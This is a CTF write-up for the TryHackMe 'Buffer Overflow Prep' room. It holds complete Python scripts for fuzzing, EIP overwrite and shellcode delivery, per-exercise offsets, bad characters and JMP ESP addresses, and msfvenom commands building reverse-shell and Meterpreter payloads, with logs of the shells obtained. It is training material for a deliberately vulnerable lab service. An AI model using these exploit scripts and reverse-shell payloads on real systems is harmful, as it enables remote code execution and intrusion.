✍️
CTFs
Home
  • CTF Writeups
  • Tools and Payloads
  • TryHackMe
    • TryHackMe Overview
      • Advent of Cyber 2
        • Day 01 - Christmas Crisis
        • Day 02 - The Elf Strikes Back!
        • Day 03 - Christmas Chaos
        • Day 04 - Santa's Watching
        • Day 05 - Someone stole Santa's gift list!
        • Day 06 - Be careful with what you wish on a Christmas night
        • Day 07 - The Grinch Really Did Steal Christmas
        • Day 08 - What's Under the Christmas Tree?
        • Day 09 - Anyone can be Santa!
        • Day 10 - Don't be sElfish!
        • Day 11 - The Rogue Gnome
        • Day 12 - Ready, set, elf
        • Day 13 - Coal for Christmas
        • Day 14 - Where's Rudolph?
        • Day 15 - There's a Python in my stocking!
        • Day 16 - Help! Where is Santa?
        • Day 17 - ReverseELFneering
        • Day 18 - The Bits of Christmas
        • Day 19 - The Naughty or Nice List
        • Day 20 - PowershELlF to the rescue
        • Day 21 - Time for some ELForensics
        • Day 22 - Elf McEager becomes CyberElf
        • Day 23 - The Grinch strikes again!
        • Day 24 - The Trial Before Christmas
      • Web Fundamentals
      • Anonymous
      • Printer Hacking 101
      • OWASP Top 10
        • Injection
        • Broken Authentication
        • Sensitive Data Exposure
        • XML External Entity
        • Broken Access Control
        • Security Misconfiguration
        • Cross-Site Scripting
        • Insecure Deserialization
        • Components with Known Vulnerabilities
        • Insufficent Logging & Monitoring
      • Vulnversity
      • Nmap
      • Google Dorking
      • Blog
      • Metasploit
      • OhSINT
      • Searchlight - IMINT
      • Basic Pentesting
      • Crack the Hash
      • Crack the Hash 2
      • Year of the Jellyfish
      • VulnNet - DotJar
      • Encryption - Crypto 101
      • CC: Pen Testing
      • Kenobi
      • Linux Backdoors
      • Root Me
      • DNS Manipulation
      • OWASP Juice Shop
      • Pickle Rick
      • CC: Steganography
      • OverPass
      • OverPass 2 - Hacked
      • OverPass 3 - Hosting
      • Mr Robot CTF
      • VulnNet
      • Linux PrivEsc
      • Git Happens
      • Buffer Overflow Prep
      • BrainPan
      • CC: Ghidra
      • Intro to x86-64
      • CC: Radare2
      • Linux Forensics
      • ReverseEngineering
      • Reversing ELF
      • Simple CTF
      • c4ptur3-th3-fl4g
      • Cat Pictures
      • Bounty Hacker
      • That's the Ticket
      • Brute It
      • Smag Grotto
      • Ignite
      • Ninja Skills
      • Break It
      • Mustacchio
      • Agent Sudo
      • Poster
      • Fowsniff CTF
      • Juicy Details
      • The Impossible Challenge
      • Golden Eye
      • Lian_Yu
      • Couch
      • GateKeeper
      • WebAppSec 101
      • Advent of Cyber 1
        • Day 01 - Inventory Management
        • Day 02 - Arctic Forum
        • Day 03 - Evil Elf
        • Day 04 - Training
        • Day 05 - Ho-Ho-Hosint
        • Day 06 - Data Elf-iltration
        • Day 07 - Skilling Up
        • Day 08 - SUID Shenanigans
        • Day 09 - Requests
        • Day 10 - Metasploit-a-ho-ho-ho
        • Day 11 - Elf Applications
        • Day 12 - Elfcryption
        • Day 13 - Accumulate
        • Day 14 - Unknown Storage
      • Hacker of the Hill
  • HackTheBox
    • HackTheBox Overview
      • Emdee five for life
      • Templated
      • Phonebook
  • HackTheBox Academy
    • HTB Academy Overview
  • PortSwigger Academy
    • PortSwigger Overview
      • Authenication bypass via OAuth implicit flow
      • Forced Oauth Profile Linking
      • OAuth account hijacking via redirect_uri
      • Stealing OAuth access tokens via an open redirect
      • Stealing OAuth access tokens via a proxy page
  • 2021 CTFs
    • Gurugram Cyber Heist CTF 2021
      • All About Web
      • Are You Web Expert
      • Mobile Phones are Bad
      • The Last Step
      • Social Media Havoc
    • ZH3R0 CTF 2.0 2021
      • Misc - Small Maniac's Game
      • Web - bxss
      • Web - Sparta
      • Web - Baby SSRF
      • Web - Original Store v1 and v2
      • Web - strpos and substr
    • NahamCon 2021
      • esab64
      • Bionic & Meet the Team
      • Gus & Hercules
      • Pollex
  • 2020 CTFs
    • VulnCon2020 Overview
      • Noob Bot Welcomes You!
      • Maze
      • Pcaped
Powered by GitBook
On this page
  • Scripts
  • Fuzzing
  • Finding Offset & overwriting EIP
  • Finding Bad chars
  • Finding Right Module
  • Shell code & Shell Access
  • OVERFLOW 1
  • Fuzzing
  • Finding Offset & overwriting EIP
  • Finding Bad chars
  • Finding Right Module
  • Shell code & Shell Access
  • OVERFLOW 2
  • Fuzzing
  • Finding Offset & overwriting EIP
  • Finding Bad chars
  • Finding Right Module
  • Shell code & Shell Access
  • OVERFLOW 3
  • Fuzzing
  • Finding Offset & overwriting EIP
  • Finding Bad chars
  • Finding Right Module
  • Shell code & Shell Access
  • OVERFLOW 4
  • Fuzzing
  • Finding Offset & overwriting EIP
  • Finding Bad chars
  • Finding Right Module
  • Shell code & Shell Access
  • OVERFLOW 5
  • Fuzzing
  • Finding Offset & overwriting EIP
  • Finding Bad chars
  • Finding Right Module
  • Shell code & Shell Access
  • OVERFLOW 6
  • Fuzzing
  • Finding Offset & overwriting EIP
  • Finding Bad chars
  • Finding Right Module
  • Shell code & Shell Access
  • OVERFLOW 7
  • Fuzzing
  • Finding Offset & overwriting EIP
  • Finding Bad chars
  • Finding Right Module
  • Shell code & Shell Access
  • OVERFLOW 8
  • Fuzzing
  • Finding Offset & overwriting EIP
  • Finding Bad chars
  • Finding Right Module
  • Shell code & Shell Access
  • OVERFLOW 9
  • Fuzzing
  • Finding Offset & overwriting EIP
  • Finding Bad chars
  • Finding Right Module
  • Shell code & Shell Access
  • OVERFLOW 10
  • Fuzzing
  • Finding Offset & overwriting EIP
  • Finding Bad chars
  • Finding Right Module
  • Shell code & Shell Access
  1. TryHackMe
  2. TryHackMe Overview

Buffer Overflow Prep

PreviousGit HappensNextBrainPan

Last updated 1 year ago

Date: 29, May, 2021

Author: Dhilip Sanjay S


to go to the TryHackMe room.

  • Connect to the machine using RDP:

$ xfreerdp /u:admin /p:password /v:MACHINE_IP /workarea /cert:ignore
  • Here spiking is not necessary, because we know that all the commands are vulnerable.


Scripts

Fuzzing

#! /usr/bin/python3

import socket, sys, time

ip = "IP_ADDRESS"
port = 1337
timeout = 5

prefix = b'OVERFLOW1 '
payload = [
    prefix,
    b'A'*100,
]

while True:
        try:
                s = socket.socket()
                s.settimeout(timeout)
                s.connect((ip, port))
                s.recv(1024)
                s.send(b''.join(payload))
                print('Fuzzing with {} bytes'.format(len(payload[1])))
                s.recv(1024)
                s.close()
        except:
                print('Fuzzzing crashed at {} bytes'.format(len(payload[1])))
                exit(0)

        payload[1] += b'A'*100
        time.sleep(1)

Finding Offset & overwriting EIP

  • Generate pattern using pattern_create:

$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <LENGTH>
  • Find offset using pattern_offset:

$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l <LENGTH> -q <EIP_VALUE>
#! /usr/bin/python3

import socket, sys, time

ip = "IP_ADDRESS"
port = 1337
timeout = 5

prefix = b'OVERFLOW1 '
pattern = b'PATTERN_GOES_HERE'


payload = [
    prefix,
    pattern,
]

payload = b''.join(payload)

try:
        s = socket.socket()
        s.settimeout(timeout)
        s.connect((ip, port))
        s.recv(1024)
        s.send(payload)
        print('Fuzzing with {} bytes'.format(len(payload) - len(prefix)))
        s.recv(1024)
        s.close()
except:
        print('Fuzzing crashed at {} bytes'.format(len(payload) - len(prefix)))
        exit(0)

Finding Bad chars

#! /usr/bin/python3

import socket, sys, time
import struct

ip = "IP_ADDRESS"
port = 1337
timeout = 5

prefix = b'OVERFLOW1 '
offset = 2003

# 4 Bytes EIP
eip = b'B' * 4

# Generate Bad characters from 1 to 255 (256 will be exculded by range function)
badchars = b''.join([struct.pack('<B', x) for x in range(1,256)])

payload = [
    prefix,
    b'A' * offset,
    eip,
    badchars,
]

payload = b''.join(payload)

try:
        s = socket.socket()
        s.settimeout(timeout)
        s.connect((ip, port))
        s.recv(1024)
        s.send(payload)
        s.recv(1024)
        s.close()
except:
        print('Fuzzing crashed at {} bytes'.format(len(payload) - len(prefix) - len(eip) - len(badchars)))

Finding Right Module

#! /usr/bin/python3

import socket, sys, time
import struct

ip = "IP_ADDRESS"
port = 1337
timeout = 5

prefix = b'OVERFLOW1 '
offset = 2003

# 4 Bytes EIP
eip = b''.join([struct.pack('<I', 0x<ADDRESS_GOES_HERE>)])

payload = [
    prefix,
    b'A' * offset,
    eip,
]

payload = b''.join(payload)

try:
        s = socket.socket()
        s.settimeout(timeout)
        s.connect((ip, port))
        s.recv(1024)
        s.send(payload)
        s.recv(1024)
        s.close()
except:
        print('Fuzzing crashed at {} bytes'.format(len(payload) - len(prefix) - len(eip)))

Shell code & Shell Access

#! /usr/bin/python3

import socket, sys, time
import struct

ip = "IP_ADDRESS"
port = 1337
timeout = 5

prefix = b'OVERFLOW1 '
offset = 1337

# 4 Bytes EIP
eip = b''.join([struct.pack('<I', 0x625011af)])

nop_sled = b'\x90' * 32

buf =  b""  #SHELL CODE

shellcode = buf

payload = [
    prefix,
    b'A' * offset,
    eip,
    nop_sled,
    buf
]

payload = b''.join(payload)

try:
        s = socket.socket()
        s.settimeout(timeout)
        s.connect((ip, port))
        s.recv(1024)
        s.send(payload)
        s.recv(1024)
        s.close()
except:
        print('Fuzzing crashed at {} bytes'.format(len(payload) - len(prefix) - len(eip) - len(nop_sled) - len(buf)))

OVERFLOW 1

Fuzzing

  • Crash occurred at 2000 bytes

Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Fuzzing with 800 bytes
Fuzzing with 900 bytes
Fuzzing with 1000 bytes
Fuzzing with 1100 bytes
Fuzzing with 1200 bytes
Fuzzing with 1300 bytes
Fuzzing with 1400 bytes
Fuzzing with 1500 bytes
Fuzzing with 1600 bytes
Fuzzing with 1700 bytes
Fuzzing with 1800 bytes
Fuzzing with 1900 bytes
Fuzzing with 2000 bytes
Fuzzzing crashed at 2000 bytes

Finding Offset & overwriting EIP

  • Generate Pattern of length 2500

  • EIP VALUE = 6F43396E

  • Exact match at offset 1978

Finding Bad chars

  • Find the bad chars using mona: \x00\x07\x2e\xa0

Finding Right Module

  • Find the right module using: !mona modules

  • Find the jmp esp within that module excluding the bad chars: !mona jmp -r esp -m essfunc.dll -cpb "\x00\x07\x2e\xa0"

  • JMP ESP address: 0x625011F7

Shell code & Shell Access

  • Generate shell code using: msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=1234 EXITFUNC=thread -f py -b "\x00\x07\x2e\xa0"

  • Don't forget to add nop sled.

  • Run the exploit & nc:

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.17.7.91] from (UNKNOWN) [10.10.26.89] 49242
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\admin\Desktop\vulnerable-apps\oscp>whoami   
whoami
oscp-bof-prep\admin

OVERFLOW 2

Fuzzing

Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Fuzzzing crashed at 700 bytes

Finding Offset & overwriting EIP

  • Generate Pattern of length 1200

  • EIP VALUE = 76413176

  • Exact match at offset 634

Finding Bad chars

  • Find the bad chars manually: \x00\x23\x3c\x83\xba

Finding Right Module

  • Find the right module using: !mona modules

  • Find the jmp esp within that module excluding the bad chars: !mona jmp -r esp -m essfunc.dll -cpb "\x00\x23\x3c\x83\xba"

  • JMP ESP address: 0x625011BB

Shell code & Shell Access

  • Generate shell code using: msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=1234 EXITFUNC=thread -f py -b "\x00\x23\x3c\x83\xba"

  • Don't forget to add nop sled.

  • Run the exploit & nc:

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.17.7.91] from (UNKNOWN) [10.10.26.89] 49276
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\admin\Desktop\vulnerable-apps\oscp>whoami
whoami
oscp-bof-prep\admin

OVERFLOW 3

Fuzzing

Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Fuzzing with 800 bytes
Fuzzing with 900 bytes
Fuzzing with 1000 bytes
Fuzzing with 1100 bytes
Fuzzing with 1200 bytes
Fuzzing with 1300 bytes
Fuzzzing crashed at 1300 bytes

Finding Offset & overwriting EIP

  • Generate Pattern of length 1800

  • EIP VALUE = 35714234

  • Exact match at offset 1274

  • Found using: mona findmsp -distance <pattern length>

 Message=    EIP contains normal pattern : 0x35714234 (offset 1274)

Finding Bad chars

  • Find the bad chars using mona: \x00\x11\x40\x5f\xb8\xee

Finding Right Module

  • Find the right module using: !mona modules

  • Find the jmp esp within that module excluding the bad chars: !mona jmp -r esp -m essfunc.dll -cpp "\x00\x11\x40\x5f\xb8\xee"

  • JMP ESP address: 62501203 (Only two addresses were available!)

Shell code & Shell Access

  • Generate shell code using: msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=1234 -b "\x00\x11\x40\x5f\xb8\xee" -f py

  • Note: Meterpreter shell is larger in size

  • Don't forget to add nop sled.

  • Run the exploit & multi/handler in msfconsole:

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.17.7.91:1234 
[*] Sending stage (175174 bytes) to 10.10.26.89

[*] Meterpreter session 1 opened (10.17.7.91:1234 -> 10.10.26.89:49284) at 2021-05-29 21:47:33 +0530

meterpreter > shell
Process 1220 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\admin\Desktop\vulnerable-apps\oscp>whoami
whoami
oscp-bof-prep\admin

OVERFLOW 4

Fuzzing

Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Fuzzing with 800 bytes
Fuzzing with 900 bytes
Fuzzing with 1000 bytes
Fuzzing with 1100 bytes
Fuzzing with 1200 bytes
Fuzzing with 1300 bytes
Fuzzing with 1400 bytes
Fuzzing with 1500 bytes
Fuzzing with 1600 bytes
Fuzzing with 1700 bytes
Fuzzing with 1800 bytes
Fuzzing with 1900 bytes
Fuzzing with 2000 bytes
Fuzzing with 2100 bytes
Fuzzzing crashed at 2100 bytes

Finding Offset & overwriting EIP

  • Generate Pattern of length 2600

  • EIP VALUE = 005c394a

  • Exact match at offset 2026

Finding Bad chars

  • Find the bad chars using mona: \x00\xa9\xcd\xd4

Finding Right Module

  • Find the right module using: !mona modules

  • Find the jmp esp within that module excluding the bad chars: !mona jmp -r esp -m essfunc.dll -cpb "\x00\xa9\xcd\xd4"

  • JMP ESP address: 625011eb

Shell code & Shell Access

  • Generate shell code using: msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=1234 -b "\x00\xa9\xcd\xd4" -f p

  • Don't forget to add nop sled.

  • Run the exploit & msfconsole multi/handler:

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.17.7.91:1234 
[*] Sending stage (175174 bytes) to 10.10.26.89
[*] Meterpreter session 2 opened (10.17.7.91:1234 -> 10.10.26.89:49290) at 2021-05-29 22:10:09 +0530

meterpreter > shell
Process 3768 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\admin\Desktop\vulnerable-apps\oscp>whoami
whoami
oscp-bof-prep\admin

OVERFLOW 5

Fuzzing

Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzzing crashed at 400 bytes

Finding Offset & overwriting EIP

  • Generate Pattern of 1000

  • EIP VALUE = 356b4134

  • Exact match at offset 314

Finding Bad chars

  • Find the bad chars manually: \x00\x16\x2f\xf4\xfd

Finding Right Module

  • Find the right module using: !mona modules

  • Find the jmp esp within that module excluding the bad chars: !mona jmp -r esp -m essfunc.dll -cpb "\x00\x16\x2f\xf4\xfd"

  • JMP ESP address: 625011d3

Shell code & Shell Access

  • Generate shell code using: msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=1234 EXITFUNC=thread -f py -b "\x00\x16\x2f\xf4\xfd"

  • Don't forget to add nop sled.

  • Run the exploit & nc:

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.17.7.91] from (UNKNOWN) [10.10.26.89] 49300
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\admin\Desktop\vulnerable-apps\oscp>whoami
whoami
oscp-bof-prep\admin

OVERFLOW 6

Fuzzing

Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Fuzzing with 800 bytes
Fuzzing with 900 bytes
Fuzzing with 1000 bytes
Fuzzing with 1100 bytes
Fuzzzing crashed at 1100 bytes

Finding Offset & overwriting EIP

  • Generate Pattern of 1600

  • EIP VALUE = 35694234

  • Exact match at offset 1034

Finding Bad chars

  • Find the bad chars using mona: \x00\x08\x2c\xad

Finding Right Module

  • Find the right module using: !mona modules

  • Find the jmp esp within that module excluding the bad chars: !mona jmp -r esp -m essfunc.dll -cpb "\x00\x08\x2c\xad"

  • JMP ESP address: 625011f7

Shell code & Shell Access

  • Generate shell code using: msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=1234 EXITFUNC=thread -f py -b "\x00\x08\x2c\xad"

  • Don't forget to add nop sled.

  • Run the exploit & nc:

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.17.7.91] from (UNKNOWN) [10.10.26.89] 49304
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\admin\Desktop\vulnerable-apps\oscp>whoami
whoami
oscp-bof-prep\admin

OVERFLOW 7

Fuzzing

Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Fuzzing with 800 bytes
Fuzzing with 900 bytes
Fuzzing with 1000 bytes
Fuzzing with 1100 bytes
Fuzzing with 1200 bytes
Fuzzing with 1300 bytes
Fuzzing with 1400 bytes
Fuzzzing crashed at 1400 bytes

Finding Offset & overwriting EIP

  • Generate Pattern of 2000

  • EIP VALUE = 72423572

  • Exact match at offset 1306

Finding Bad chars

  • Find the bad chars manually: \x00\x8c\xae\xbe\xfc

Finding Right Module

  • Find the right module using: !mona modules

  • Find the jmp esp within that module excluding the bad chars: !mona jmp -r esp -m essfunc.dll -cpb "\x00\x8c\xae\xbe\xfc"

  • JMP ESP address: 62501203

Shell code & Shell Access

  • Generate shell code using: msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=1234 -f py -b "\x00\x8c\xae\xbe\xfc"

  • Don't forget to add nop sled.

  • Run the exploit & multi/handler:

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.17.7.91:1234 
[*] Sending stage (175174 bytes) to 10.10.26.89
[*] Meterpreter session 1 opened (10.17.7.91:1234 -> 10.10.26.89:49322) at 2021-05-29 23:40:43 +0530

meterpreter > shell
Process 2584 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\admin\Desktop\vulnerable-apps\oscp>whoami
whoami
oscp-bof-prep\admin

OVERFLOW 8

Fuzzing

Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Fuzzing with 800 bytes
Fuzzing with 900 bytes
Fuzzing with 1000 bytes
Fuzzing with 1100 bytes
Fuzzing with 1200 bytes
Fuzzing with 1300 bytes
Fuzzing with 1400 bytes
Fuzzing with 1500 bytes
Fuzzing with 1600 bytes
Fuzzing with 1700 bytes
Fuzzing with 1800 bytes
Fuzzzing crashed at 1800 bytes

Finding Offset & overwriting EIP

  • Generate Pattern of 2300

  • EIP VALUE = 68433568

  • Exact match at offset 1786

Finding Bad chars

  • Find the bad chars using mona: \x00\x1d\x2e\xc7\xee

Finding Right Module

  • Find the right module using: !mona modules

  • Find the jmp esp within that module excluding the bad chars: !mona jmp -r esp -m essfunc.dll -cpb "\x00\x1d\x2e\xc7\xee"

  • JMP ESP address: 62501205

Shell code & Shell Access

  • Generate shell code using: msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=1234 -f py -b "\x00\x1d\x2e\xc7\xee"

  • Don't forget to add nop sled.

  • Run the exploit & multi/handler:

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.17.7.91:1234 
[*] Sending stage (175174 bytes) to 10.10.26.89
[*] Meterpreter session 2 opened (10.17.7.91:1234 -> 10.10.26.89:49324) at 2021-05-29 23:55:17 +0530

meterpreter > shell
Process 748 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\admin\Desktop\vulnerable-apps\oscp>whoami
whoami
oscp-bof-prep\admin

OVERFLOW 9

Fuzzing

Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Fuzzing with 800 bytes
Fuzzing with 900 bytes
Fuzzing with 1000 bytes
Fuzzing with 1100 bytes
Fuzzing with 1200 bytes
Fuzzing with 1300 bytes
Fuzzing with 1400 bytes
Fuzzing with 1500 bytes
Fuzzing with 1600 bytes
Fuzzzing crashed at 1600 bytes

Finding Offset & overwriting EIP

  • Generate Pattern of length 2000

  • EIP VALUE = 35794234

  • Exact match at offset

Finding Bad chars

  • Find the bad chars using mona: \x00\x04\x3e\x3f\xe1

  • Note: \x3f is not bad char (but the answer in tryhackme required 5 chars)

  • On rerunning the script, I found that x3f is bad. So, it also affected \x40. (This can be done by setting \x3e to some non-bad characters).

  • So, if two bad characters are adjacent, it cannot be determined in a single test. We have to run the exploit multiple times to detect that!

Finding Right Module

  • Find the right module using: !mona modules

  • Find the jmp esp within that module excluding the bad chars: !mona jmp -r esp -m essfunc.dll -cpb "\x00\x04\x3e\x3f\xe1"

  • JMP ESP address: 625011c7

Shell code & Shell Access

  • Generate shell code using: msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=1234 EXITFUNC=thread -f py -b "\x00\x04\x3e\x3f\xe1"

  • Don't forget to add nop sled.

  • Run the exploit & nc:

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.17.7.91] from (UNKNOWN) [10.10.26.89] 49333
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\admin\Desktop\vulnerable-apps\oscp>whoami
whoami
oscp-bof-prep\admin

OVERFLOW 10

Fuzzing

Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzzing crashed at 600 bytes

Finding Offset & overwriting EIP

  • Generate Pattern of 1000

  • EIP VALUE = 41397241

  • Exact match at offset 537

Finding Bad chars

  • Find the bad chars using mona: \x00\xa0\xad\xbe\xde\xef

Finding Right Module

  • Find the right module using: !mona modules

  • Find the jmp esp within that module excluding the bad chars: !mona jmp -r esp -m essfunc.dll -cpb "!mona jmp -r esp -m essfunc.dll -cpb \x00\xa0\xad\xbe\xde\xef"

  • JMP ESP address: 625011af

Shell code & Shell Access

  • Generate shell code using: msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=1234 EXITFUNC=thread -f py -b "\x00\xa0\xad\xbe\xde\xef"

  • Don't forget to add nop sled.

  • Run the exploit & nc:

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.17.7.91] from (UNKNOWN) [10.10.26.89] 49335
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\admin\Desktop\vulnerable-apps\oscp>whoami
whoami
oscp-bof-prep\admin

Click Here
Bad Chars - Overflow 1
Bad Chars - Overflow 2
Bad Chars - Overflow 3
Bad Chars - Overflow 4
Bad Chars - Overflow 5
Bad Chars - Overflow 6
Bad Chars - Overflow 7
Bad Chars - Overflow 8
Bad Chars - Overflow 9
Bad Chars - Overflow 10